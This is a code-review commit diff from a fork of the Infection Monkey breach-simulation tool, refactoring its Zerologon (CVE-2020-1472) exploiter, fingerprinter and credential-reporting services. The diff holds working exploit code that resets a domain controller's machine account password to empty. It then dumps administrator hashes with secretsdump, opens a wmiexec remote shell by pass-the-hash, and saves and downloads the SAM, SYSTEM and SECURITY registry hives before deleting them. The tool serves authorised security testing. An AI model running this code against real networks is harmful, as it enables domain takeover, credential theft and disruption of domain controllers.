forked from p15670423/monkey
CR changes
This commit is contained in:
parent
961d5f81f8
commit
435f10fb20
|
@ -38,8 +38,9 @@ class HostExploiter(Plugin):
|
||||||
# Specifies whether a machine, on which the exploit was successful, should be added to the set of exploited
|
# Specifies whether a machine, on which the exploit was successful, should be added to the set of exploited
|
||||||
# machines. This would then prevent any other exploits from being attempted on it.
|
# machines. This would then prevent any other exploits from being attempted on it.
|
||||||
# Sample use case - Zerologon exploiter:
|
# Sample use case - Zerologon exploiter:
|
||||||
# Exploited machine gives us useful credentials which can be used, but machine isn't compromised by Zerologon
|
# Exploited machine gives us useful credentials which can be used, but machine isn't fully compromised by Zerologon
|
||||||
# on its own. Some other exploit using PTH needs to be exploit it.
|
# on its own. Some other exploiter using PTH needs to exploit it with the extracted credentials so that the monkey
|
||||||
|
# can propagate to it.
|
||||||
SHOULD_ADD_MACHINE_TO_EXPLOITED_SET = True
|
SHOULD_ADD_MACHINE_TO_EXPLOITED_SET = True
|
||||||
|
|
||||||
@property
|
@property
|
||||||
|
|
|
@ -3,8 +3,6 @@ Zerologon, CVE-2020-1472
|
||||||
Implementation based on https://github.com/dirkjanm/CVE-2020-1472/ and https://github.com/risksense/zerologon/.
|
Implementation based on https://github.com/dirkjanm/CVE-2020-1472/ and https://github.com/risksense/zerologon/.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
from __future__ import division, print_function
|
|
||||||
|
|
||||||
import cmd
|
import cmd
|
||||||
import io
|
import io
|
||||||
import logging
|
import logging
|
||||||
|
@ -97,7 +95,7 @@ class ZerologonExploiter(HostExploiter):
|
||||||
self.exploit_info['credentials'] = {}
|
self.exploit_info['credentials'] = {}
|
||||||
|
|
||||||
def _exploit_host(self):
|
def _exploit_host(self):
|
||||||
self.DC_IP, self.DC_NAME, self.DC_HANDLE = self.zerologon_finger.get_dc_details(self.host)
|
self.dc_ip, self.dc_name, self.dc_handle = self.zerologon_finger._get_dc_details(self.host)
|
||||||
|
|
||||||
if self.is_exploitable():
|
if self.is_exploitable():
|
||||||
LOG.info("Target vulnerable, changing account password to empty string.")
|
LOG.info("Target vulnerable, changing account password to empty string.")
|
||||||
|
@ -124,11 +122,11 @@ class ZerologonExploiter(HostExploiter):
|
||||||
break
|
break
|
||||||
|
|
||||||
self.report_login_attempt(result=False,
|
self.report_login_attempt(result=False,
|
||||||
user=self.DC_NAME)
|
user=self.dc_name)
|
||||||
|
|
||||||
if result['ErrorCode'] == 0:
|
if result['ErrorCode'] == 0:
|
||||||
self.report_login_attempt(result=True,
|
self.report_login_attempt(result=True,
|
||||||
user=self.DC_NAME)
|
user=self.dc_name)
|
||||||
LOG.info("Exploit complete!")
|
LOG.info("Exploit complete!")
|
||||||
else:
|
else:
|
||||||
LOG.info(f"Non-zero return code: {result['ErrorCode']}. Something went wrong.")
|
LOG.info(f"Non-zero return code: {result['ErrorCode']}. Something went wrong.")
|
||||||
|
@ -154,7 +152,7 @@ class ZerologonExploiter(HostExploiter):
|
||||||
return self.zerologon_finger.get_host_fingerprint(self.host)
|
return self.zerologon_finger.get_host_fingerprint(self.host)
|
||||||
|
|
||||||
def connect_to_dc(self):
|
def connect_to_dc(self):
|
||||||
binding = epm.hept_map(self.DC_IP, nrpc.MSRPC_UUID_NRPC,
|
binding = epm.hept_map(self.dc_ip, nrpc.MSRPC_UUID_NRPC,
|
||||||
protocol='ncacn_ip_tcp')
|
protocol='ncacn_ip_tcp')
|
||||||
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
|
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
|
||||||
rpc_con.connect()
|
rpc_con.connect()
|
||||||
|
@ -163,14 +161,14 @@ class ZerologonExploiter(HostExploiter):
|
||||||
|
|
||||||
def attempt_exploit(self, rpc_con):
|
def attempt_exploit(self, rpc_con):
|
||||||
request = nrpc.NetrServerPasswordSet2()
|
request = nrpc.NetrServerPasswordSet2()
|
||||||
request['PrimaryName'] = self.DC_HANDLE + '\x00'
|
request['PrimaryName'] = self.dc_handle + '\x00'
|
||||||
request['AccountName'] = self.DC_NAME + '$\x00'
|
request['AccountName'] = self.dc_name + '$\x00'
|
||||||
request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
|
request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
|
||||||
authenticator = nrpc.NETLOGON_AUTHENTICATOR()
|
authenticator = nrpc.NETLOGON_AUTHENTICATOR()
|
||||||
authenticator['Credential'] = b'\x00' * 8
|
authenticator['Credential'] = b'\x00' * 8
|
||||||
authenticator['Timestamp'] = 0
|
authenticator['Timestamp'] = 0
|
||||||
request['Authenticator'] = authenticator
|
request['Authenticator'] = authenticator
|
||||||
request['ComputerName'] = self.DC_NAME + '\x00'
|
request['ComputerName'] = self.dc_name + '\x00'
|
||||||
request['ClearNewPassword'] = b'\x00' * 516
|
request['ClearNewPassword'] = b'\x00' * 516
|
||||||
return rpc_con.request(request)
|
return rpc_con.request(request)
|
||||||
|
|
||||||
|
@ -207,13 +205,13 @@ class ZerologonExploiter(HostExploiter):
|
||||||
|
|
||||||
def get_admin_pwd_hashes(self):
|
def get_admin_pwd_hashes(self):
|
||||||
options = self.OPTIONS_FOR_SECRETSDUMP.copy()
|
options = self.OPTIONS_FOR_SECRETSDUMP.copy()
|
||||||
options['target'] = '$@'.join([self.DC_NAME, self.DC_IP]) # format for DC account - "NetBIOSName$@0.0.0.0"
|
options['target'] = '$@'.join([self.dc_name, self.dc_ip]) # format for DC account - "NetBIOSName$@0.0.0.0"
|
||||||
options['target_ip'] = self.DC_IP
|
options['target_ip'] = self.dc_ip
|
||||||
options['dc_ip'] = self.DC_IP
|
options['dc_ip'] = self.dc_ip
|
||||||
|
|
||||||
dumped_secrets = self.get_dumped_secrets(options=options,
|
dumped_secrets = self.get_dumped_secrets(options=options,
|
||||||
remote_name=self.DC_IP,
|
remote_name=self.dc_ip,
|
||||||
username=f"{self.DC_NAME}$")
|
username=f"{self.dc_name}$")
|
||||||
user = 'Administrator'
|
user = 'Administrator'
|
||||||
for secret in dumped_secrets:
|
for secret in dumped_secrets:
|
||||||
if user in secret:
|
if user in secret:
|
||||||
|
@ -249,7 +247,7 @@ class ZerologonExploiter(HostExploiter):
|
||||||
options = self.OPTIONS_FOR_SECRETSDUMP.copy()
|
options = self.OPTIONS_FOR_SECRETSDUMP.copy()
|
||||||
for name in ['system', 'sam', 'security']:
|
for name in ['system', 'sam', 'security']:
|
||||||
options[name] = os.path.join(os.path.expanduser('~'), f'monkey-{name}.save')
|
options[name] = os.path.join(os.path.expanduser('~'), f'monkey-{name}.save')
|
||||||
options['dc_ip'] = self.DC_IP
|
options['dc_ip'] = self.dc_ip
|
||||||
options['just_dc'] = False
|
options['just_dc'] = False
|
||||||
|
|
||||||
dumped_secrets = self.get_dumped_secrets(options=options,
|
dumped_secrets = self.get_dumped_secrets(options=options,
|
||||||
|
@ -267,34 +265,39 @@ class ZerologonExploiter(HostExploiter):
|
||||||
def save_HKLM_keys_locally(self, admin_pwd_hashes):
|
def save_HKLM_keys_locally(self, admin_pwd_hashes):
|
||||||
LOG.debug("Starting remote shell on victim.")
|
LOG.debug("Starting remote shell on victim.")
|
||||||
|
|
||||||
wmiexec = Wmiexec(ip=self.DC_IP,
|
wmiexec = Wmiexec(ip=self.dc_ip,
|
||||||
username='Administrator',
|
username='Administrator',
|
||||||
hashes=admin_pwd_hashes,
|
hashes=admin_pwd_hashes,
|
||||||
domain=self.DC_IP)
|
domain=self.dc_ip)
|
||||||
|
|
||||||
remote_shell = wmiexec.get_remote_shell()
|
remote_shell = wmiexec.get_remote_shell()
|
||||||
if remote_shell:
|
if remote_shell:
|
||||||
_set_stdout_to_in_memory_text_stream()
|
_set_stdout_to_in_memory_text_stream()
|
||||||
|
|
||||||
# Save HKLM keys on victim.
|
try:
|
||||||
remote_shell.onecmd('reg save HKLM\\SYSTEM system.save && ' +
|
# Save HKLM keys on victim.
|
||||||
'reg save HKLM\\SAM sam.save && ' +
|
remote_shell.onecmd('reg save HKLM\\SYSTEM system.save && ' +
|
||||||
'reg save HKLM\\SECURITY security.save')
|
'reg save HKLM\\SAM sam.save && ' +
|
||||||
|
'reg save HKLM\\SECURITY security.save')
|
||||||
|
|
||||||
# Get HKLM keys locally (can't run these together because it needs to call do_get()).
|
# Get HKLM keys locally (can't run these together because it needs to call do_get()).
|
||||||
remote_shell.onecmd('get system.save')
|
remote_shell.onecmd('get system.save')
|
||||||
remote_shell.onecmd('get sam.save')
|
remote_shell.onecmd('get sam.save')
|
||||||
remote_shell.onecmd('get security.save')
|
remote_shell.onecmd('get security.save')
|
||||||
|
|
||||||
# Delete saved keys on victim.
|
# Delete saved keys on victim.
|
||||||
remote_shell.onecmd('del /f system.save sam.save security.save')
|
remote_shell.onecmd('del /f system.save sam.save security.save')
|
||||||
|
|
||||||
info = _unset_stdout_and_return_captured()
|
wmiexec.close()
|
||||||
LOG.debug(f"Getting victim HKLM keys via remote shell: {info}")
|
|
||||||
|
|
||||||
wmiexec.close()
|
return True
|
||||||
|
|
||||||
return True
|
except Exception as e:
|
||||||
|
LOG.info(f"Exception occured: {str(e)}")
|
||||||
|
|
||||||
|
finally:
|
||||||
|
info = _unset_stdout_and_return_captured()
|
||||||
|
LOG.debug(f"Getting victim HKLM keys via remote shell: {info}")
|
||||||
|
|
||||||
else:
|
else:
|
||||||
raise Exception("Could not start remote shell on DC.")
|
raise Exception("Could not start remote shell on DC.")
|
||||||
|
@ -308,15 +311,15 @@ class ZerologonExploiter(HostExploiter):
|
||||||
flags = 0x212fffff
|
flags = 0x212fffff
|
||||||
|
|
||||||
# Send challenge and authentication request.
|
# Send challenge and authentication request.
|
||||||
server_challenge_response = nrpc.hNetrServerReqChallenge(rpc_con, self.DC_HANDLE + '\x00',
|
server_challenge_response = nrpc.hNetrServerReqChallenge(rpc_con, self.dc_handle + '\x00',
|
||||||
self.DC_NAME + '\x00', plaintext)
|
self.dc_name + '\x00', plaintext)
|
||||||
server_challenge = server_challenge_response['ServerChallenge']
|
server_challenge = server_challenge_response['ServerChallenge']
|
||||||
|
|
||||||
try:
|
try:
|
||||||
server_auth = nrpc.hNetrServerAuthenticate3(
|
server_auth = nrpc.hNetrServerAuthenticate3(
|
||||||
rpc_con, self.DC_HANDLE + '\x00', self.DC_NAME + '$\x00',
|
rpc_con, self.dc_handle + '\x00', self.dc_name + '$\x00',
|
||||||
nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
|
nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
|
||||||
self.DC_NAME + '\x00', ciphertext, flags
|
self.dc_name + '\x00', ciphertext, flags
|
||||||
)
|
)
|
||||||
|
|
||||||
# It worked!
|
# It worked!
|
||||||
|
@ -335,9 +338,9 @@ class ZerologonExploiter(HostExploiter):
|
||||||
|
|
||||||
request = NetrServerPasswordSet()
|
request = NetrServerPasswordSet()
|
||||||
request['PrimaryName'] = NULL
|
request['PrimaryName'] = NULL
|
||||||
request['AccountName'] = self.DC_NAME + '$\x00'
|
request['AccountName'] = self.dc_name + '$\x00'
|
||||||
request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
|
request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
|
||||||
request['ComputerName'] = self.DC_NAME + '\x00'
|
request['ComputerName'] = self.dc_name + '\x00'
|
||||||
request["Authenticator"] = authenticator
|
request["Authenticator"] = authenticator
|
||||||
pwd_data = impacket.crypto.SamEncryptNTLMHash(unhexlify(original_pwd_nthash), session_key)
|
pwd_data = impacket.crypto.SamEncryptNTLMHash(unhexlify(original_pwd_nthash), session_key)
|
||||||
request["UasNewPassword"] = pwd_data
|
request["UasNewPassword"] = pwd_data
|
||||||
|
|
|
@ -352,15 +352,14 @@ class InfectionMonkey(object):
|
||||||
try:
|
try:
|
||||||
result = exploiter.exploit_host()
|
result = exploiter.exploit_host()
|
||||||
if result:
|
if result:
|
||||||
self.successfully_exploited(machine, exploiter) if exploiter.SHOULD_ADD_MACHINE_TO_EXPLOITED_SET else\
|
self.successfully_exploited(machine, exploiter, exploiter.SHOULD_ADD_MACHINE_TO_EXPLOITED_SET)
|
||||||
self.successfully_exploited(machine, exploiter, False)
|
|
||||||
return True
|
return True
|
||||||
else:
|
else:
|
||||||
LOG.info("Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__)
|
LOG.info("Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__)
|
||||||
except ExploitingVulnerableMachineError as exc:
|
except ExploitingVulnerableMachineError as exc:
|
||||||
LOG.error("Exception while attacking %s using %s: %s",
|
LOG.error("Exception while attacking %s using %s: %s",
|
||||||
machine, exploiter.__class__.__name__, exc)
|
machine, exploiter.__class__.__name__, exc)
|
||||||
self.successfully_exploited(machine, exploiter)
|
self.successfully_exploited(machine, exploiter, exploiter.SHOULD_ADD_MACHINE_TO_EXPLOITED_SET)
|
||||||
return True
|
return True
|
||||||
except FailedExploitationError as e:
|
except FailedExploitationError as e:
|
||||||
LOG.info("Failed exploiting %r with exploiter %s, %s", machine, exploiter.__class__.__name__, e)
|
LOG.info("Failed exploiting %r with exploiter %s, %s", machine, exploiter.__class__.__name__, e)
|
||||||
|
|
|
@ -17,14 +17,14 @@ class ZerologonFinger(HostFinger):
|
||||||
MAX_ATTEMPTS = 2000
|
MAX_ATTEMPTS = 2000
|
||||||
_SCANNED_SERVICE = "NTLM (NT LAN Manager)"
|
_SCANNED_SERVICE = "NTLM (NT LAN Manager)"
|
||||||
|
|
||||||
def get_host_fingerprint(self, host):
|
def get_host_fingerprint(self, host) -> bool:
|
||||||
"""
|
"""
|
||||||
Checks if the Windows Server is vulnerable to Zerologon.
|
Checks if the Windows Server is vulnerable to Zerologon.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
DC_IP, DC_NAME, DC_HANDLE = self.get_dc_details(host)
|
dc_ip, dc_name, dc_handle = self._get_dc_details(host)
|
||||||
|
|
||||||
if DC_NAME: # if it is a Windows DC
|
if dc_name: # if it is a Windows DC
|
||||||
# Keep authenticating until successful.
|
# Keep authenticating until successful.
|
||||||
# Expected average number of attempts needed: 256.
|
# Expected average number of attempts needed: 256.
|
||||||
# Approximate time taken by 2000 attempts: 40 seconds.
|
# Approximate time taken by 2000 attempts: 40 seconds.
|
||||||
|
@ -33,7 +33,7 @@ class ZerologonFinger(HostFinger):
|
||||||
rpc_con = None
|
rpc_con = None
|
||||||
for _ in range(0, self.MAX_ATTEMPTS):
|
for _ in range(0, self.MAX_ATTEMPTS):
|
||||||
try:
|
try:
|
||||||
rpc_con = self.try_zero_authenticate(DC_HANDLE, DC_IP, DC_NAME)
|
rpc_con = self.try_zero_authenticate(dc_handle, dc_ip, dc_name)
|
||||||
if rpc_con is not None:
|
if rpc_con is not None:
|
||||||
break
|
break
|
||||||
except Exception as ex:
|
except Exception as ex:
|
||||||
|
@ -55,27 +55,27 @@ class ZerologonFinger(HostFinger):
|
||||||
LOG.info('Error encountered; most likely not a Windows Domain Controller.')
|
LOG.info('Error encountered; most likely not a Windows Domain Controller.')
|
||||||
return False
|
return False
|
||||||
|
|
||||||
def get_dc_details(self, host):
|
def _get_dc_details(self, host) -> (str, str, str):
|
||||||
DC_IP = host.ip_addr
|
dc_ip = host.ip_addr
|
||||||
DC_NAME = self.get_dc_name(DC_IP)
|
dc_name = self._get_dc_name(dc_ip)
|
||||||
DC_HANDLE = '\\\\' + DC_NAME
|
dc_handle = '\\\\' + dc_name
|
||||||
return DC_IP, DC_NAME, DC_HANDLE
|
return dc_ip, dc_name, dc_handle
|
||||||
|
|
||||||
def get_dc_name(self, DC_IP):
|
def _get_dc_name(self, dc_ip: str) -> str:
|
||||||
"""
|
"""
|
||||||
Gets NetBIOS name of the Domain Controller (DC).
|
Gets NetBIOS name of the Domain Controller (DC).
|
||||||
"""
|
"""
|
||||||
|
|
||||||
try:
|
try:
|
||||||
nb = nmb.NetBIOS.NetBIOS()
|
nb = nmb.NetBIOS.NetBIOS()
|
||||||
name = nb.queryIPForName(ip=DC_IP) # returns either a list of NetBIOS names or None
|
name = nb.queryIPForName(ip=dc_ip) # returns either a list of NetBIOS names or None
|
||||||
return name[0] if name else None
|
return name[0] if name else ''
|
||||||
except BaseException as ex:
|
except BaseException as ex:
|
||||||
LOG.info(f'Exception: {ex}')
|
LOG.info(f'Exception: {ex}')
|
||||||
|
|
||||||
def try_zero_authenticate(self, DC_HANDLE, DC_IP, DC_NAME):
|
def try_zero_authenticate(self, dc_handle: str, dc_ip: str, dc_name: str):
|
||||||
# Connect to the DC's Netlogon service.
|
# Connect to the DC's Netlogon service.
|
||||||
binding = epm.hept_map(DC_IP, nrpc.MSRPC_UUID_NRPC,
|
binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC,
|
||||||
protocol='ncacn_ip_tcp')
|
protocol='ncacn_ip_tcp')
|
||||||
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
|
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
|
||||||
rpc_con.connect()
|
rpc_con.connect()
|
||||||
|
@ -90,13 +90,13 @@ class ZerologonFinger(HostFinger):
|
||||||
|
|
||||||
# Send challenge and authentication request.
|
# Send challenge and authentication request.
|
||||||
nrpc.hNetrServerReqChallenge(
|
nrpc.hNetrServerReqChallenge(
|
||||||
rpc_con, DC_HANDLE + '\x00', DC_NAME + '\x00', plaintext)
|
rpc_con, dc_handle + '\x00', dc_name + '\x00', plaintext)
|
||||||
|
|
||||||
try:
|
try:
|
||||||
server_auth = nrpc.hNetrServerAuthenticate3(
|
server_auth = nrpc.hNetrServerAuthenticate3(
|
||||||
rpc_con, DC_HANDLE + '\x00', DC_NAME +
|
rpc_con, dc_handle + '\x00', dc_name +
|
||||||
'$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
|
'$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
|
||||||
DC_NAME + '\x00', ciphertext, flags
|
dc_name + '\x00', ciphertext, flags
|
||||||
)
|
)
|
||||||
|
|
||||||
# It worked!
|
# It worked!
|
||||||
|
|
|
@ -156,7 +156,7 @@ EXPLOITER_CLASSES = {
|
||||||
],
|
],
|
||||||
"title": "Zerologon Exploiter (UNSAFE)",
|
"title": "Zerologon Exploiter (UNSAFE)",
|
||||||
"info": "CVE-2020-1472. Unsafe exploiter (changes the password of a Windows server domain controller account and "
|
"info": "CVE-2020-1472. Unsafe exploiter (changes the password of a Windows server domain controller account and "
|
||||||
"breaks communication with other domain controllers.) "
|
"might break communication with other domain controllers.) "
|
||||||
"Exploits a privilege escalation vulnerability in a Windows server domain controller, "
|
"Exploits a privilege escalation vulnerability in a Windows server domain controller, "
|
||||||
"using the Netlogon Remote Protocol (MS-NRPC).",
|
"using the Netlogon Remote Protocol (MS-NRPC).",
|
||||||
"link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/zerologon/"
|
"link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/zerologon/"
|
||||||
|
|
|
@ -182,29 +182,33 @@ class ReportService:
|
||||||
def get_stolen_creds():
|
def get_stolen_creds():
|
||||||
creds = []
|
creds = []
|
||||||
|
|
||||||
# stolen creds from system info collectors
|
stolen_system_info_creds = ReportService.get_credentials_from_system_info_telems()
|
||||||
for telem in mongo.db.telemetry.find(
|
creds.extend(stolen_system_info_creds)
|
||||||
{'telem_category': 'system_info', 'data.credentials': {'$exists': True}},
|
|
||||||
{'data.credentials': 1, 'monkey_guid': 1}
|
|
||||||
):
|
|
||||||
monkey_creds = telem['data']['credentials']
|
|
||||||
formatted_creds = ReportService._format_creds_for_reporting(telem, monkey_creds)
|
|
||||||
if formatted_creds:
|
|
||||||
creds.extend(formatted_creds)
|
|
||||||
|
|
||||||
# stolen creds from exploiters
|
stolen_exploit_creds = ReportService.get_credentials_from_exploit_telems()
|
||||||
for telem in mongo.db.telemetry.find(
|
creds.extend(stolen_exploit_creds)
|
||||||
{'telem_category': 'exploit', 'data.info.credentials': {'$exists': True}},
|
|
||||||
{'data.info.credentials': 1, 'monkey_guid': 1}
|
|
||||||
):
|
|
||||||
monkey_creds = telem['data']['info']['credentials']
|
|
||||||
formatted_creds = ReportService._format_creds_for_reporting(telem, monkey_creds)
|
|
||||||
if formatted_creds:
|
|
||||||
creds.extend(formatted_creds)
|
|
||||||
|
|
||||||
logger.info('Stolen creds generated for reporting')
|
logger.info('Stolen creds generated for reporting')
|
||||||
return creds
|
return creds
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_credentials_from_system_info_telems():
|
||||||
|
formatted_creds = []
|
||||||
|
for telem in mongo.db.telemetry.find({'telem_category': 'system_info', 'data.credentials': {'$exists': True}},
|
||||||
|
{'data.credentials': 1, 'monkey_guid': 1}):
|
||||||
|
creds = telem['data']['credentials']
|
||||||
|
formatted_creds.extend(ReportService._format_creds_for_reporting(telem, creds))
|
||||||
|
return formatted_creds
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_credentials_from_exploit_telems():
|
||||||
|
formatted_creds = []
|
||||||
|
for telem in mongo.db.telemetry.find({'telem_category': 'exploit', 'data.info.credentials': {'$exists': True}},
|
||||||
|
{'data.info.credentials': 1, 'monkey_guid': 1}):
|
||||||
|
creds = telem['data']['info']['credentials']
|
||||||
|
formatted_creds.extend(ReportService._format_creds_for_reporting(telem, creds))
|
||||||
|
return formatted_creds
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def _format_creds_for_reporting(telem, monkey_creds):
|
def _format_creds_for_reporting(telem, monkey_creds):
|
||||||
creds = []
|
creds = []
|
||||||
|
|
|
@ -31,15 +31,14 @@ def process_exploit_telemetry(telemetry_json):
|
||||||
def add_exploit_extracted_creds_to_config(telemetry_json):
|
def add_exploit_extracted_creds_to_config(telemetry_json):
|
||||||
if 'credentials' in telemetry_json['data']['info']:
|
if 'credentials' in telemetry_json['data']['info']:
|
||||||
creds = telemetry_json['data']['info']['credentials']
|
creds = telemetry_json['data']['info']['credentials']
|
||||||
|
for user in creds:
|
||||||
for user in creds:
|
ConfigService.creds_add_username(creds[user]['username'])
|
||||||
ConfigService.creds_add_username(creds[user]['username'])
|
if 'password' in creds[user] and creds[user]['password']:
|
||||||
if 'password' in creds[user] and creds[user]['password']:
|
ConfigService.creds_add_password(creds[user]['password'])
|
||||||
ConfigService.creds_add_password(creds[user]['password'])
|
if 'lm_hash' in creds[user] and creds[user]['lm_hash']:
|
||||||
if 'lm_hash' in creds[user] and creds[user]['lm_hash']:
|
ConfigService.creds_add_lm_hash(creds[user]['lm_hash'])
|
||||||
ConfigService.creds_add_lm_hash(creds[user]['lm_hash'])
|
if 'ntlm_hash' in creds[user] and creds[user]['ntlm_hash']:
|
||||||
if 'ntlm_hash' in creds[user] and creds[user]['ntlm_hash']:
|
ConfigService.creds_add_ntlm_hash(creds[user]['ntlm_hash'])
|
||||||
ConfigService.creds_add_ntlm_hash(creds[user]['ntlm_hash'])
|
|
||||||
|
|
||||||
|
|
||||||
def update_node_credentials_from_successful_attempts(edge: EdgeService, telemetry_json):
|
def update_node_credentials_from_successful_attempts(edge: EdgeService, telemetry_json):
|
||||||
|
|
Loading…
Reference in New Issue